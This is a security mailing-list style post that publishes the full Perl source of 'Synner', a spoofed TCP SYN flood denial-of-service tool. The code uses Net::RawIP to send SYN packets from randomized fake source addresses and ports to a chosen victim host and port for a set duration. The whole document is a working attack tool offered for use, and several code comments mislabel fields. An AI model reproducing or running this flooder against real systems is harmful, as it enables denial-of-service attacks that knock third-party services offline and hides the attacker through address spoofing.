[TOOL] Synner - Spoof-DoS Tool

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Synner - Spoof-DoS Tool
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SUMMARY



DETAILS

This is a small tool is similar many other TCP SYN flooders out there. It
works by sending TCP SYN packets to destination host:port, spoofing its
own IP addresses by sending random source host:port packets.

Tool Source:
#!/usr/bin/perl
#
# Synner.pl
#
# Other Spoof-DoS tool written by nuTshell
# <carloslack at gmail dot com>
# <http://gotfault.net/~nutshell>
#
# Description:
# This small tool is similar many other tcp syn flooders out there.
# It works sending syn tcp packets to destination host:port,
# spoofing it`s own ip addresses by sending randon source host:port
# packets.
# Be carefull, becouse you really need strong link otherwise
# you`ll get f*. Unlike panic.pl , synner.pl consumes much
# bandwidth resources.
#
# Required:
# Install Net::RawIP from cpan or get it`s .tar,gz from somewhere.
# It`s up to you.
#
# This tool does SPOOF your ip.
#
# Run it as ROOT (Net::RawIP needs).
# Usage: ./synner.pl <ip> <port> <time>
#
# Greetz goes to: Shorgen, hexdump, Codak, khz, spidersoft,
# Barros, xgc, btaranto, Acid-Warz, F-117...
#
# WARNING: Never tested in real world :}
#

#Make sure to get and install this module from cpan:
use Net::RawIP;

#Display help message:
sub usage() {
die "Use $0 <ip> <port> <time>\n";
}

#Function to control synner`s execution time:
sub get_time() {
$finaltime = time;
$endme = $finaltime-$begintime;
}

#Bit useless...:
if (@ARGV>3) {&usage}

$ipdest = $ARGV[0] or &usage;
$destport = $ARGV[1] or &usage;

#Time is required to avoid endless execution (keep in mind that synner
eats bandwidth):
$time = $ARGV[2] or &usage;

#Source port of our packets, include as many as you want:
@tmpport =
(1756,1026,1739,4055,2001,3055,1999,2873,20000,5476,9132,6000,9000,1234);

#2 arrays that will give us randon ip addr:
@iparray_round1 = (1,2);
@iparray_round2 = (0,1,2,3,4,5,6,7,8,9);

print "[!] Synpack.pl spoof-DoS tool written by nuTshell\n";
print "[!] You better have huge link :)\n";
print "[!] Time: $time\n";
print "[!] Destination victin-> $ipdest:$destport\n";

#Set $packet as handle of our raw packets:
$packet = new Net::RawIP;

#Get start time:
$begintime = $^T;

#Call get_time():
get_time();

while($endme < $time) {

#Now build randon xxx.xxx.xxx.xxx:
for ($z=0;$z<4;$z++) {

#I use number 2 for every first numbers of each octet:
for($I=0;$I<1;$I++) {
$ip .= 2;
}
#Here i keep two options for every second numbers of each octet:
for($kick=0;$kick<1;$kick++) {
$iparray_round1 = $iparray_round1[rand(@iparray_round1)] ;
$ip .= $iparray_round1;
}
#For all the last third of each octets i use range between 0<->9:
for($you=0;$you<1;$you++) {
$iparray_round2 = $iparray_round2[rand(@iparray_round2)] ;
$ip .= $iparray_round2;
}

#Insert dot between each octet:
$ip .= ".";
}

#The last one dot must be erased:
chop($ip);

#Routine to create/send spoofed packets, thanks to Net::RawIP:
$tmpport = $tmpport[rand(@tmpport)];
$packet->set(
{
ip => { saddr => $ip, #Victin ip
daddr => $ipdest #Victin port
},

tcp => { source => $tmpport, #Source ip(Spoofed and randomized)
dest => $destport, #source port(Randomized)
psh => 1,
ack => 0,
syn => 1,
data => '31337'
}
}
);

#Send it:
$packet->send(0,1) ;

print "[*] From-> $ip:randon_port\r";

#Reset last ip for new one:
$ip = '';

#Call get_time():
get_time();

}
#That`s all folks!
print "\nDone!\n";
#eof


ADDITIONAL INFORMATION

The information has been provided by <mailto:carloslack@xxxxxxxxx> Carlos
Carvalho.
To keep updated with the tool visit the project's homepage at:
<http://gotfault.net/~nutshell/tools/synner/synner.html>
http://gotfault.net/~nutshell/tools/synner/synner.html



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